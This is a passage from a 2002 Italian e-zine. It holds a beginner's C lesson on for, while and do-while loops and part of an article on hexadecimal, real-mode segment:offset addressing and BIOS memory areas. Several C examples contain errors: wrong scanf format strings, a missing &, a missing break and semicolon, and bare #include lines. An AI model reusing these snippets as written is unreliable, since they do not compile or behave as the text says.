bfffea3f | | seconda parte; eccoci qui | | terza parte; i vale 1 | | # | | # | | | | Naturalmente vi garantisco che il file eseguibile denominato "prova6" | | non e' | | cambiato... :) | | | | A chi provera' a dare una soluzione andra' il merito di avere | | effettivamente capito come funzionano le cose... | | | | | | a presto, | | xyzzy | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0DiNG] #05 - 14/01/2002 | | C0RS0 Di C [PARTE QUARTA] [JEYoNE] 0x0F/0x23 | +--------------------------------------------------------------------------+ | | | RiASSUNT0 DELLA PUNTATA PRECEDENTE: | | La volta scorsa abbiamo spiegato come è strutturato il costrutto IF, | | il suo ramo opzionale ELSE ed il costrutto SWITCH. | | Questa volta, come gia' avevo accennato la volta scorsa, andremo a | | vedere come creare un programma simile a quello della volta scorsa | | (quello che abbiamo visto per spiegare il costrutto switch, ricordate?) | | con la differenza che ripropone la lista degli autori fino a quando non | | saremo noi a dirgli di uscire. | | Cominciamo a vedere questo, poi andremo a dare un'occhiata anche agli | | altri due argomenti, il "while" e il "do-while". | | Allora: | | Come ricorderete il costrutto switch da la possibilita' di | | scegliere tra diverse opzioni, abbiamo visto che il programma creato la | | volta scorsa, se la selezione non era tra quelle indicate, usciva di | | default. | | Questo perche' non abbiamo usato il loop for INFINITO. | | Mi spiego meglio, il loop for infinito non termina mai, a meno che gli | | si dia l'istruzione break (abbiamo visto anche quella, ricordate?) | | Ma andiamo avanti seguendo un criterio logico, e vediamo intanto | | come si esegue un loop for infinito: | | for(;;) printf("questo verra' stampato all'infinito\n"); | | Non avendo indicato le condizioni di uscita,il for continua a stampare | | | | all'infinito l'istruzione printf, perche' la condizione e' sempre vera. | | Gli unici due modi per terminare il loop sono: | | 1) Spegnere il computer | | 2) Inserire l'istruzione break | | Vediamo come utilizzare al meglio il secondo modo,anche perche' | | il primo risulterebbe un pochino scomodo: | | for(;;) | | { | | scanf("%d", &jey); | | if (jey==0) break; /* se jey vale 0 esce dal loop */ | | } | | In questo caso il blocco di istruzioni si ripete sempre all'infinito, | | a meno che la variabile jey non abbia valore uguale a 0. | | Capito questo dobbiamo andare a vedere come inserire il blocco dello | | switch all'interno del for: | | for(;;) | | { | | scanf("%d", jey); | | switch(jey) /*usiamo jey per fare i confronti */ | | { | | case 1: | | printf("\nHai scelto l'opzione numero 1"); | | break; | | case 2: | | printf("\nHai scelto l'opzione numero 2"); | | break; | | } | | if (jey==0) break; /*se jey vale 0 esce dal loop */ | | } | | Le cose messe giu' in questa maniera possono sembrare complicate, ma | | l'importante e' mantenere le gerarchie dei blocchi del programma. | | (le parentesi graffe aperte e chiuse in ogni blocco) | | Vediamo ora il programma vero e proprio per eseguire una scelta come | | quella della volta scorsa, con pero' la possibilita' di uscire soltanto | | dando alla variabile lista il valore di 0 : | | #include | | main() | | { | | int lista; | | for(;;) /*questo e' il loop infinito, interrotto dal break*/ | | { | | printf("\nScegli un gruppo per sapere che musica suona:\n"); | | printf(" 1) Cypress Hill \n"); | | printf(" 2) Elio e le storie tese \n"); | | printf(" 3) 883 \n"); | | printf(" 4) Pitura Freska \n"); | | printf(" 0) Esci, non me ne frega niente della musica!!\n"); | | scanf("d%", &lista); /*prendiamo il valore della variabile | | | | lista*/ | | switch(lista) /*e facciamone il confronto*/ | | { | | case 1: | | printf("I Cypress Hill suonano RAP\n"); | | break; | | case 2: | | printf("Elio e le storie tese suonano rock | | | | demenziale"); | | break; | | case 3: | | printf("Gli 883 suonano? E ti sembra musica quella?"); | | break; | | case 4: | | printf("I Pitura Freska suonano reggae/ska"); | | break; | | case 0: | | printf("\n Non ti interessa la musica? Beh, ciao!"); | | default: | | printf("Ma non leggi il menu'? Niente e' associato | | a quel numero!"); | | } /* Qui termina il costrutto switch */ | | if (lista==0) break; /* Quando lista vale 0 esce dal loop */ | | } /* Qui termina il loop for */ | | } /* E qui invece termina la funzione main() */ | | E questo e' finito, facile no? | | Bene, ora andiamo a vedere un'altra istruzione, sto parlando del while, | | un'istruzione analoga al for perche' anch'essa serve per fare loop. | | While in inglese significa "quando", questo significa che fino a | | quando la condizione e' vera l'istruzione viene eseguita. | | Vediamone la struttura con una sola istruzione: | | while(jey <3 ) printf("JEYoNE e' bello :) "); | | O con un blocco di istruzioni: | | int jey=1; | | while(jey <3) | | { | | printf("JEYoNE e' bello :) "); | | jey++ /* aumentiamo il valore di jey di | | 1 */ | | } | | Come avrete potuto notare, il while e' molto simile al for, ma e' un po' | | piu complicato, in effetti per un loop e' meglio usare il for, ma il | | while puo' essere utile in altri casi. | | Per ora proviamo a usare il loop while per lo stesso programma che | | abbiamo fatto prima. | | Ricordiamoci di dare alla variabile lista un valore diverso da zero, | | (lista=!0)per evitare di uscire senza eseguire il programma nemmeno una | | volta. | | #include | | main() | | { | | int lista=1; | | while(lista!=0) /*Quando la variabile e' uguale a zero termina*/ | | { | | printf("\nScegli un gruppo per sapere che musica suona:\n"); | | printf(" 1) Cypress Hill \n"); | | printf(" 2) Elio e le storie tese \n"); | | printf(" 3) 883 \n"); | | printf(" 4) Pitura Freska \n"); | | printf(" 0) Esci, non me ne frega niente della musica!!\n"); | | scanf("d%", &lista); /*prendiamo il valore della variabile | | | | lista*/ | | switch(lista) /*e facciamone il confronto*/ | | { | | case 1: | | printf("I Cypress Hill suonano RAP\n"); | | break; | | case 2: | | printf("Elio e le storie tese suonano rock | | | | demenziale"); | | break; | | case 3: | | printf("Gli 883 suonano? E ti sembra musica quella?"); | | break; | | case 4: | | printf("I Pitura Freska suonano reggae/ska"); | | break; | | case 0: | | printf("\n Non ti interessa la musica? Beh, ciao!"); | | default: | | printf("Ma non leggi il menu'? Niente e' associato | | a quel numero!"); | | } /* Qui termina il costrutto switch */ | | } /* Qui termina il loop while */ | | } /* E qui invece termina la funzione main() */ | | Come abbiamo visto anche per il for, possiamo fare un loop infinito | | anche con il while, a condizione che la condizione sia diversa da 0. | | L'unico modo per interrompere il loop, anche in questo caso, e' l'uso | | del break. | | Come abbiamo potuto vedere,sia il loop for che il loop while verificano | | la condizione prima di fare tutto, facendo si che le istruzioni non | | vengano eseguite se la condizione risultasse falsa. | | Per fare in modo che le condizioni siano eseguite almeno una volta, | | prima di interrompere, ci viene in aiuto il do, che la esegue prima di | | far eseguire il controllo della condizione al loop. | | Il do e' strutturato nel seguente modo: | | do | | { | | istruzioni; | | } | | while(espressione); | | Qui noi andiamo PRIMA ad eseguire le istruzioni, e POI controlliamo che | | la condizione sia vera e ripetiamo le istruzioni. | | Se la condizione e' falsa interrompiamo tutto. | | Il loop do-while funziona cosi': | | int jey=1; | | do | | { | | printf("JEYoNE e' bello :) "); | | jey++; | | } | | while(jey<5); | | Questo loop stampa 4 volte la scritta JEYoNE e' bello :). | | Ora vediamo come integrarlo nel nostro programmino, infatti serve il do | | per stampare almeno una volta la lista delle scelte da fare, altrimenti | | con che criterio eseguiamo la scelta del gruppo? :P | | #include | | main() | | { | | int lista=1; | | do /*Qui comincia il loop do-while*/ | | { | | printf("\nScegli un gruppo per sapere che musica suona:\n"); | | printf(" 1) Cypress Hill \n"); | | printf(" 2) Elio e le storie tese \n"); | | printf(" 3) 883 \n"); | | printf(" 4) Pitura Freska \n"); | | printf(" 0) Esci, non me ne frega niente della musica!!\n"); | | scanf("d%", &lista); /*prendiamo il valore della variabile | | | | lista*/ | | switch(lista) /*e facciamone il confronto*/ | | { | | case 1: | | printf("I Cypress Hill suonano RAP\n"); | | break; | | case 2: | | printf("Elio e le storie tese suonano rock | | | | demenziale"); | | break; | | case 3: | | printf("Gli 883 suonano? E ti sembra musica quella?"); | | break; | | case 4: | | printf("I Pitura Freska suonano reggae/ska"); | | break; | | case 0: | | printf("\n Non ti interessa la musica? Beh, ciao!"); | | default: | | printf("Ma non leggi il menu'? Niente e' associato | | a quel numero!"); | | } /* Qui termina il costrutto switch */ | | } /* Qui termina il blocco do-while che viene */ | | while(lista!=0); /* eseguito di nuovo se il valore e' diverso da 0*/ | | } /* E qui invece termina la funzione main() */ | | In certi casi sta meglio il while del for, in molti altri pero sta | | meglio il do-while del while. | | Si poteva fare tutto semplicemente con il loop for, ma rimaneva meno | | "elegante". | | Io vi ho illustrato tutti e tre i costrutti, deciderete voi quale | | utilizzare per risparmiare tempo/lavoro. | | Per questa volta ho finito, nel prossimo numero non so se sara' | | presente il corso, perche' ultimamente sono molto molto impegnato. | | Voi restate sintonizzati, e.... | | ...al massimo leggete qualche altro articolo! :P | | Ciao a tutti, speriamo di vederci nel prossimo numero! | | JEYoNE | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0DiNG] #05 - 14/01/2002 | | 0S FR0M ZER0 CHAPTER 2 [Alexander The Great] 0x10/0x23 | +--------------------------------------------------------------------------+ | | | Salve! Scorcio i convenevoli e passo al sodo. Bisogna che innanzitutto | | mi scusi per aver rivisto poco il primo capitolo. Nel bootstrap c'era un | | piccolo errore (non grave), in corrispondenza della seguente sezione: | | | | CMP BYTE PTR SS:[449h], 3 ; 0:449h = modalita' video | | JNE SiamoGiaInModoTesto ; (se 0:449h contiene 3) | | | | In realta', siccome JNE sta per "Jump if Not Equal", il salto viene | | effettuato se la locazione 0:449h NON contiene il valore 3. | | La versione corretta sarebbe stata questa: | | | | CMP BYTE PTR SS:[449h], 3 ; 0:449h = modalita' video | | JE SiamoGiaInModoTesto ; (se 0:449h contiene 3) | | | | E allora? Cosa comporta per il risultato finale? Assolutamente niente. | | Solo un piccolo sforzo inutile da parte della scheda video, volto ad | | impostare un modalita' video che probabilmente e' gia' impostata al | | momento del boot. La locazione 0:449h, anche scrivibile come 40h:49h, | | infatti, contiene il codice OEM della modalita' video corrente. Ci sono | | modalita' testuali e grafiche. Alcuni codici sono standard, altri no. | | Tra quelli standard, la modalita' numero 3 e' quella che normalmente usa | | il BIOS al momento del boot, e che poi il prompt del DOS eredita. Si | | tratta della comunissima modalita' testo a 16 colori con 80 colonne e 25 | | righe. Insomma, visto? M'e' riuscito di far passare l'errore come una | | sorta di "domanda a trabocchetto"... peccato che fosse del tutto | | involontario. | | Poi devo fare le mie scuse anche per un'altra questione: avevo promesso | | che avrei presentato un piccolo KERNEL in questo capitolo, ma mi sono | | accorto che sarebbe piuttosto inutile se prima non spiegassi su quali | | principi poggiano la CPU e le sue periferiche a basso livello. | | Ho deciso quindi di rimandare tale esperimento, in favore di una piccola | | ma esauriente panoramica sull'argomento "cosa c'e' dietro alle varie | | operazioni che un S.O. svolge di continuo"... "l'avventura" sara' | | comunque lunga, ma vi garantisco che se continuate a seguire questa | | serie di articoli, alla fine rimarranno ben pochi misteri all'interno | | del PC. | | | | Un ultimo chiarimento prima di cominciare con una fiumana di | | informazioni, per coloro che mi hanno chiesto da dove abbia preso | | l'ispirazione. Be', la risposta e': in nessun posto. Le ho studiate nel | | corso di svariati anni in cui ho analizzato (hackato, sminuzzato, | | polverizzato) l'architettura dei PC passati e presenti. Quello che | | scrivo in questi capitoli non segue dei testi di riferimento: che ci | | crediate o no, a parte alcune tabelle, butto tutto giu' a memoria. | | | | Mah... | | gia' che ci sono, colgo egoisticamente l'occasione per scrivere un breve | | "background storico". Programmo in assembly dai tempi del Commodore 64, | | di cui ricordo ancora gran parte della mappa della memoria (mai provato | | a cambiare il colore dello sfondo dello schermo del C64 con una POKE | | sulle locazioni 53280 e 53281?...), e conosco i PC dal 1988. Ho una sola | | lacuna: informazioni sui protocolli di rete, quindi per queste cose | | leggetevi il resto della rivista. Ammetto che, in effetti, sulla | | "questione reti" sono "rimasto indietro", ed anche adesso non ho molta | | voglia di occuparmente... | | ammiro la rete per quello che e', ma non so come funziona ne', | | stranamente, m'interessa saperlo. Probabilmente la considero, dal mio | | punto di vista d'inguaribile retrogrado, "un accessorio non standard" in | | cui si delineano troppe verita' temporanee e nessuna certezza. Forse e' | | perche' inconsciamente collego la rete a Windows: dai tempi di Windows | | mi sono volontariamente disinteressato a qualsiasi aspetto ad esso | | strettamente collegato. Ma no, aspettate, mi sto sbagliando: non e' che | | sia collegata a Windows, perche' in fin dei conti non lo e'... e' che | | "non e' collegabile al DOS"... o meglio, mi sbaglio ancora, "non e' | | stata collegata al DOS". Il DOS e' stato il mio territorio per molti | | anni: piu' che una questione di vantaggi e svantaggi, quello che mi lega | | all'ambiente DOS e' l'affetto. Oggi e' un sentimento un po' difficile da | | capire, perche' sono relativamente pochissimi gli utenti che sono "nati | | usando il DOS". E` naturale per tutti migrare verso sistemi multitasking | | con interfacce a finestre molto piu' intuitive del vecchio prompt. Per | | tutti, meno che per me. E pochi altri "vecchi guru". Premetto che ho un | | personale odio verso il multitasking, in quanto causa di inutili | | complicazioni, per come lo vedo io. Nonche' verso le finestre: | | quest'ultimo e' un risentimento che ha dietro di se' una storiella | | divertente, ma per non dilungarmi troppo parlando di me stesso, ve la | | raccontero un'altra volta. | | | | Per coloro che considerano inevitabile il fatto che prima o poi dovro | | adeguarmi, mi limito a dire che i miei sforzi attuali sono volti non ad | | adeguare me stesso ai sistemi attuali, ma ad adeguare I SISTEMI ATTUALI | | a me stesso. Vedete, anche se so come farlo, e malgrado la mia antipatia | | nei confronti di Windows, io non cerco un nuovo sistema operativo. Io | | non sono che un programmatore, e tutto quello che cerco e' il mio | | ambiente di programmazione perfetto. Dopo circa sei anni dall'arrivo di | | Windows95, la mia personale nemesi, la "catastrofe naturale" che ha | | spazzato via il mio mondo, ho trovato la soluzione: ho distaccato il mio | | ambiente dal sistema, l'ho "isolato", astratto nella maniera piu' | | totale, creando uno stranissimo oggetto che in seguito ho rifinito e | | chiamato L.IN.O.L.E.U.M. Insieme ad esso, sto piacevolmente rivivendo i | | momenti in cui la gente capiva davvero come funzionavano le cose, in cui | | i principianti erano fieri di quel che riuscivano a fare. E cosa piu' | | importante, mi sento di nuovo a casa, libero d'ignorare e sputare in | | faccia a quel maelstrom di finestrelle, iconcine e multitasking che | | circonda la mia isola di semplice perfezione, sicuro che i programmi che | | scrivo adesso gireranno per sempre, in barba a chiunque ami rimescolare | | periodicamente le carte nel tentativo di rivendere la stessa vecchia | | zuppa un'altra volta. Per molti di voi potra' essere un cumulo di | | stupidaggini, quel che ho detto, ma a me non importa come viene | | giudicato: a me interessa soltanto che sia un punto di riferimento | | indistruttibile. E lo e'. Una sola cosa e' una realta' oggettiva, non | | opinabile: mentre il DOS, Windows, Linux, BeOS, MacOS, AmigaOS... sono | | tutti oggetti concreti che nascono e muoiono, L.IN.O.L.E.U.M. e' "un | | fantasma", e come tale e' eterno. | | | | Be', devo dire che era necessario: non avreste capito molti aspetti dei | | miei commenti, se non avessi scritto questa mia "biografia | | monotematica", forse non avreste capito con che razza di individuo avete | | a che fare ;) | | | | E ora che mi sento meglio, "confessato" direi; ora che mi conoscete | | meglio, iniziamo finalmente la panoramica sulla struttura di un PC a | | basso livello, che ci servira' per capire come funziona il KERNEL di un | | sistema operativo. | | | | Ora, non e' mia intenzione scrivere tutto un intero tutorial | | sull'assembly e sul funzionamento del PC in modalita' reale, perche' non | | mi rimarrebbe il tempo di parlare dell'argomento vero e proprio, pero | | almeno questo forse e' meglio spiegarlo: come funzionano gli indirizzi | | di memoria in modalita' | | reale. Premesso che tale modalita' fa schifo ed e' praticamente obsoleta | | da almeno una decina d'anni a questa parte, e' tuttavia necessario | | sapercisi orientare perche' i nostri beneamati processori di sesta | | generazione, vedi per esempio il mio caro Athlon a 1GHz, ancora oggi | | avviano il sistema in modalita' reale. E anche se fa schifo, non | | disprezzatela: e' stata mantenuta per ragioni di compatibilita' con i | | primi S.O. come il DOS ed il CP/M, che altrimenti non sarebbero in grado | | di avviare la macchina se questa venisse fatta partire dal BIOS | | direttamente in una delle varie modalita' a 32 bit. | | Poi se me lo ricordero, spieghero anche cosa intendo per "varie | | modalita'". | | Ma veniamo agli indirizzi in modalita' reale. | | Conviene sempre scrivere gli indirizzi in esadecimale. Molti si chiedono | | perche', dato che a prima vista sembra un'inutile complicazione. E' | | chiaro che non lo e', perche' solo alcuni sistemisti di cui non faccio i | | nomi amano complicare le cose per il solo gusto di complicarle. Noi | | siamo abituati a scrivere i numeri in base dieci, usando le cifre arabe | | da zero a nove. | | Be', l'esadecimale e' un modo per scrivere numeri in base sedici, e' un | | po' come contare su sedici dita. E in esadecimale, esistono anche cifre | | il cui valore nominale e' superiore a nove, un po' come nelle 52 carte | | da poker abbiamo i valori 1 (asso), carte dal 2 al 10, e poi le figure | | J, Q e K i cui rispettivi valori di scala sono "immaginabili" come 11, | | 12 e 13. | | In esadecimale le "cifre" superiori al 9 sono A, B, C, D, E ed F. | | | | Contare in esadecimale e' molto piu' semplice di quanto sembri: 0, 1, 2, | | 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F, 10, 11, 12, 13, 14, 15, 16, 17, | | 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 21 eccetera... | | | | Da precisare che i numeri esadecimali scritti come 11, 12, 13, 14... NON | | si leggono come "undici", "dodici" eccetera... ma bensi come "uno-uno", | | "uno-due", "uno-tre"... questo perche' NON stiamo parlando di "decine", | | di "centinaia" e di "migliaia". Infatti, se le unita' sono sempre le | | unita', le decine qui si potrebbero chiamare "sedicine", e le centinaia | | diventano "sedicine di sedicine" ovvero "duecentocinquantaseiine". Ma | | ovviamente nessuno di questi termini viene usato: sono parole che non | | esistono nel nostro vocabolario; le ho chiamate cosi per cercare di | | rendere l'idea. | | | | Ora, quando io scrivo 449h, la piccola "h" che metto in fondo serve a | | far capire al lettore che si tratta di un numero esadecimale. In C e | | C++, naturalmente, qualche imbecille si e' inventato un nuovo modo per | | indicare numeri esadecimali, e nella fattispecie si e' inventato il | | prefisso "0x", cioe' zero-x. Questo perche' probabilmente i compilatori | | si confonderebbero nel trovare una "h" in fondo a un numero, ma ormai la | | frittata e' fatta e la stupidaggine e' rimasta. Ma ok, non cominciamo a | | parlare dei compilatori C/C++ perche' se penso a tutte le loro idiozie | | mi viene fuori un libro, e poi tutti i fans di questi linguaggi mi | | mandano un quintale di hate-mail. | | Comunque, riprendendo il filo del discorso, la "h" e' il modo UFFICIALE | | per indicare un valore esadecimale, e sul 99% dei documenti che vi | | potra' capitare di consultare troverete quella notazione. | | | | Uhm... che vuol dire 449h? Cioe', che numero e'? | | E' semplice: se fosse in decimale, sapremmo che 4 sono le centinaia, 4 | | le decine e 9 le unita'. Quindi avremmo 449 = (4 x 100) + (4 x 10) + 9. | | Dato che e' in ESAdecimale, usiamo le duecentociquantaseiine e le | | sedicine, e quindi abbiamo 449h = (4 x 256) + (4 x 16) + 9. Facendo i | | conti, viene fuori come risultato 1097. Quindi 449 in esadecimale | | significa 1097 in decimale. Tuttavia, questo ancora non risponde alla | | domanda "perche' si usa l'esadecimale?"... be', per molti motivi, che | | derivano tutti da uno solo: | | sedici e' una comoda potenza di 2. Voi sapete che il PC conta in | | binario, quindi, come nel nostro sistema decimale sono importanti le | | potenze del dieci (decine, centinaia, migliaia, decine di migliaia | | eccetera...), in quello binario sono ugualmente importanti le potenze | | del due. Guarda caso, 16 e' appunto due alla quarta. In pratica, | | significa che per scrivere una cifra esadecimale mi servono FINO A | | QUATTRO cifre binarie; in altre parole, una cifra esadecimale raggruppa | | 4 cifre binarie. Cosi, invece di doversi confrontare con lunghe sequele | | di uni e di zeri, con le quali e' facilissimo sbagliarsi, abbiamo | | sequenze scritte come 1A59FC, B0732A, 3CC87D4... che sono piu' semplici | | da leggere e da trascrivere, PUR MANTENENDO UNA SEMPLICE corrispondenza | | col sottostante codice binario. Infatti, osservando questa tabellina, | | possibilmente da imparare a memoria (magari col tempo): | | | | 0000 = 0 | | 0001 = 1 | | 0010 = 2 | | 0011 = 3 | | 0100 = 4 | | 0101 = 5 | | 0110 = 6 | | 0111 = 7 | | 1000 = 8 | | 1001 = 9 | | 1010 = A | | 1011 = B | | 1100 = C | | 1101 = D | | 1110 = E | | 1111 = F | | | | si puo capire dove sta la comodita' nell'uso dell'esadecimale. Molte | | cifre tonde in binario rimangono cifre tonde anche in esadecimale, e | | possono essere sommate e sottratte in modo abbastanza naturale, una | | volta che si e' fatta un po' di pratica. Per esempio il numero decimale | | 1024, che e' una potenza di 2 (infatti e' due alla decima), si scrive | | come: | | | | 1024 = 10000000000 in binario | | 1024 = 400 in esadecimale | | | | e riferendosi alla tabellina sopra esposta, si puo scomporre la versione | | binaria in sequenze di QUATTRO cifre, ottenendo una facile conversione: | | | | 0100 0000 0000 | | | | | | | 4 0 0 | | | | il numero 1024 e' parte dell'indirizzo a cui mi riferivo prima: 449h. | | Infatti 449h e' il risultato di 400h + 49h, seguendo le normali regole | | della numerazione posizionale, proprio come abbiamo sempre fatto nella | | nostra beneamata base dieci. Non c'e' nessuna difficolta' aggiuntiva. | | | | Tornando finalmente al discorso degli indirizzi in modalita' reale, c'e' | | un motivo anche per il fatto che abbia scelto di dividervi il numero | | proprio nelle due parti 400h e 49h. Avrei potuto dire 440h + 9h, per | | esempio, ma ho preferito l'altra suddivisione perche' evidenzia il | | rapporto che c'e' fra il SEGMENTO e l'OFFSET di un indirizzo in | | modalita' reale. | | Ho detto che 449h, in modalita' reale, viene scritto come 40h:49h. | | No, non mi sono dimenticato uno zero, e' proprio 40h:49h e non 400h:49h. | | Questo perche' bisogna spiegare che cosa e' un "segmento" di memoria | | visto dalla modalita' reale. Presto detto: e' un insieme di 16 bytes | | contigui. In semplice, e' un modo di prendere la memoria a "mazzi" di 16 | | bytes, piuttosto che byte per byte. Infatti la modalita' reale era stata | | progettata per la programmazione di processori con registri di 16 bit e | | BUS di 20 bit. | | Orbene, 16 bit sono 16 cifre binarie, il che significa 4 cifre | | esadecimali. Significa anche che in 16 cifre binarie si possono | | rappresentare valori che vanno da 0000h a FFFFh. Se fate due conti, | | equivale all'intervallo da zero a 65.535 in decimale, ovvero da zero a | | (2 alla sedicesima meno uno). | | Ora, la modalita' reale permette di accedere a un totale di UN MEGABYTE | | di memoria, e qui sta l'espediente della notazione segmento/offset. | | Perche' 65.536 celle di memoria (la cella numero zero conta, | | naturalmente) sono in realta' 64 Kb di memoria, dato che un Kb equivale | | a 1024 bytes (e forse ora si capisce anche perche' sono 1024 bytes e | | non, piu' semplicemente, 1000). | | Ma per arrivare a un megabyte servono 1.048.576 celle di memoria, che | | sono una quantita' SEDICI volte superiore a 65.536. Ovvero, abbiamo | | bisogno di cinque cifre esadecimali per scrivere tutti i possibili | | indirizzi che formano un megabyte, ovvero gli indirizzi di 20 bit. Ma ne | | abbiamo 16. | | | | Per risolvere questo problemino, si "replicano" i nostri 16 bit, | | inviando al controller della memoria due valori al posto di uno, dato | | che uno non basta (e non si puo semplicemente inviare una sequenza di | | soli 4 bits, perche' NON ESISTEVANO E ANCORA NON ESISTONO registri di 4 | | bits). Il BUS pero, in questo modo, NON diventava a 32 bit. Il bus, | | quella serie di connessioni che vanno dal processore al controller della | | memoria, era sempre limitato ai suoi poveri 20 bit. Abbiamo quasi | | finito, eh? | | | | La convenzione adottata, che a prima vista sembra assurda, diventa cosi | | perfettamente logica: se un segmento raggruppa 16 bytes, possiamo allora | | indirizzare una quantita' di memoria 16 volte superiore a 65.536 bytes, | | per l'appunto quel fatidico megabyte. A questo punto, per moltiplicare | | per sedici in esadecimale dobbiamo solo spostare a sinistra di un posto | | tutte le cifre che compongono il SEGMENTO, e poi aggiungere l'OFFSET. | | | | SEGM. OFFS. <- | | 0040h:0049h = 0400h + 0049h = 00449h | | | | (Vista la freccina che indica lo spostamento?) | | Dove bisogna notare che ho scritto il risultato con 5 cifre, a | | significare che si tratta di un indirizzo il cui intervallo si estende | | su 20 bit, mentre i suoi componenti, il segmento e l'offset, sono | | scritti su 4 cifre perche' i registri di un processore a 16 bit possano | | contenerli. Le cose non sono sempre cosi semplici, ma i principi della | | numerazione posizionale sono sempre validi. Ad esempio, se il segmento | | fosse stato il 41h, avremmo avuto il seguente risultato: | | | | SEGM. OFFS. <- | | 0041h:0049h = 0410h + 0049h = 00459h | | | | e ci saremmo riferiti ad una locazione di memoria che, come si vede dal | | risultato, si trova una "sedicina" di bytes piu' avanti della | | precedente, perche' la differenza fra 459h - 449h e' di 16 bytes, e | | *non* di dieci. | | E questo include un consiglio: cominciate a "pensare in esadecimale". | | | | E un'altra cosa importante da sapere (se si vuol capire) e' questa: dato | | che l'offset e' comunque un valore di 16 bit, per spostarsi avanti nella | | memoria, byte per byte, non e' sempre necessario aumentare il valore del | | segmento. Infatti, una volta "selezionato" un certo segmento, che ci fa | | da "ancora", possiamo leggere e scrivere locazioni variando soltanto la | | componente chiamata "offset", finche' non "sfondiamo" il limite dei 16 | | bit, ovvero non tentiamo di scrivere o leggere qualcosa che si trova | | piu' in la' | | di 64 kilobytes dalla prima locazione del segmento selezionato. Infatti, | | a partire dal solito segmento numero 40h, io posso ad esempio scrivere e | | leggere memoria anche dalla/sulla sequente locazione (fatevi i conti): | | | | SEGM. OFFS. <- | | 0040h:FFFFh = 0400h + FFFFh = 103FFh | | | | Ecco perche' *non e' detto* che un segmento sia sempre considerato lungo | | 16 bytes. Lo so che inizialmente vi confondera' ancora di piu', ma che | | ci volete fare? Cosi va la vitaccia zozza... infatti un segmento puo | | estendersi, a piacimento, fino a 64 Kb, di fatto intersecando i 4096 | | segmenti successivi. | | | | Erano duri i tempi dei 16 bit, eh? Be', probabilmente penseranno lo | | stesso dei 32 bit i programmatori che in futuro ne useranno abitualmente | | 64... | | Tornando all'attuale architettura di PC con vista sul BIOS, alcuni | | segmenti sono diventati piuttosto famosi, in quanto essi "mirano" ad | | aree di memoria che risultano molto importanti per il BIOS e, di | | riflesso, per un qualunque sistema operativo che volessimo scrivere. | | Questi segmenti particolari sono i seguenti: | | | | 0000h - tabella dei vettori di interrupt, di 1024 bytes. | | 0040h - BDA (BIOS Data Area), di 256 bytes, ma MOLTO densi di | | significati. | | A000h - pagina di memoria grafica rimappata in modalita' reale, di | | 64 Kb. | | B000h - pagina di memoria testuale per testo in bianco e nero, di 32 Kb. | | B800h - pagina di memoria testuale per testo a colori, di 32 Kb. | | F000h - segmento del BIOS (il codice del BIOS ereditato dal layout IBM) | | il segmento del BIOS e' lungo 65.520 bytes (si, 16 in meno). | | il segmento del BIOS NON e' memoria RAM: e' uno spazio ROM. | | FFFFh - segmento del warm boot handler, lunghezza minima: solo 16 bytes. | | | | Va be', quella tabella puo essere utile, ma ora ci vuole una descrizione | | piu' approfondita' di ciascun segmento. E per quanto riguarda le singole | | locazioni di ogni segmento? A questo posso rispondervi con un'altra | | domanda: - Ci siete andati a prendervi i Ralf Brown files? | | | | Ripeto l'indirizzo: http://www.pobox.com/~ralf/files.html | | | | Se l'avete fatto, bene, avete quello che vi serve: una tabella | | dettagliata della memoria, la stessa dalla quale si evince che la | | locazione 40h:49h contiene il numero della modalita' video corrente, | | completa di riferimenti incrociati per trovare le altre modalita'... e | | di un mondo d'informazioni di vitale importanza per noi novelli system | | designers. Se non l'avete fatto, vorrei sapere che cacchio state | | aspettando... La lista della memoria si chiama Memory.LST, ed e' un file | | di testo anche se non ha estensione TXT. In effetti, e' meglio | | consultare l'archivio di Ralf tramite l'EDIT del DOS, piu' che pigiando | | sulle iconcine per ottenere solo finestrelle che rivelano quanto Windoze | | sia scemo nella sua forzata voglia di automatizzare tutto. | | | | Ma vediamo a cosa servono i suddetti segmenti, in soldoni. Questo, Ralf | | non lo dice perche' lo da' per scontato. E questo e' appunto lo scopo | | della mia serie di articoli: selezionare e spiegare quello che serve per | | farsi il proprio S.O. partendo da zero. Riprendo a taglia e incolla i | | titoli menzionati prima, e aggiungo la descrizione... | | | | 0000h - tabella dei vettori di interrupt, di 1024 bytes. | | | | Per capire cosa sia un vettore d'interrupt bisogna prima capire cos'e' | | una interrupt. Su questo non ci piove. E' quello che dice di essere: una | | breve "interruzione" nel normale flusso di istruzioni che compongono i | | programmi attualmente in esecuzione. Queste interruzioni servono a | | concentrare l'attenzione del processore su un compito che deve essere | | eseguito in quel momento, al di la' di quel che sta facendo il | | programma. Al termine di tale compito, il controllo torna al programma | | principale, per il quale e' come se nulla fosse successo (eccetto che | | sara' passato un po' di tempo). | | In pratica, un vettore d'interrupt e' qualcosa che "porta" il processore | | ad eseguire il codice macchina che gestisce una certa interrupt quando | | questa viene chiamata in causa. Un "vettore" si traduce molto | | semplicemente in un indirizzo di memoria, nella classica forma | | segmento:offset, che punta alla locazione che contiene la prima | | istruzione del gestore. | | Il gestore di una interrupt, inutile a dirsi, e' semplicemente un | | programmino, ma e' un po' diverso da una normale SUBROUTINE, da un | | normale frammento di programma, e le differenze le vedremo dopo... | | Ci sono 256 interrupt diverse nei PC con chipset Intel. Ogni interrupt | | ha il suo vettore, ed ogni vettore occupa 4 bytes (32 bit, suddivisi in | | 16 per il segmento e 16 per l'offset). Quindi, in totale abbiamo bisogno | | di 256 x 4 = 1024 bytes per conservare tutti i vettori. E questa e' | | appunto la lunghezza del segmento ad essi riservato. L'organizzazione | | del segmento e' la piu' semplice possibile: i primi 4 bytes (0000:0000) | | contengono il vettore dell'interrupt zero, la prima (nella fattispecie, | | e' quella che interviene quando il processore deve comunicare al S.O. | | che gli e' stato chiesto di eseguire una divisione per zero); i secondi | | 4 bytes, ovvero la locazione 0000:0004, contengono il vettore | | dell'interrupt 1, e cosi via fino alla locazione 0000:03FC che contiene | | il vettore d'interrupt 255. | | Cosi come i segmenti, anche molti numeri delle interrupt, col tempo, | | hanno assunto significati convenzionali. Cosi come esiste un significato | | preciso per l'interrupt zero (DIVISION BY ZERO), esistono significati | | ben precisi e addirittura *legati all'hardware* per le interrupt fino | | alla numero 31. | | Infatti, le prime 31 interrupt sono usate dal processore per segnalare | | condizioni d'errore, ma non solo per questo. Tuttavia, volendo | | descrivere quali condizioni d'errore 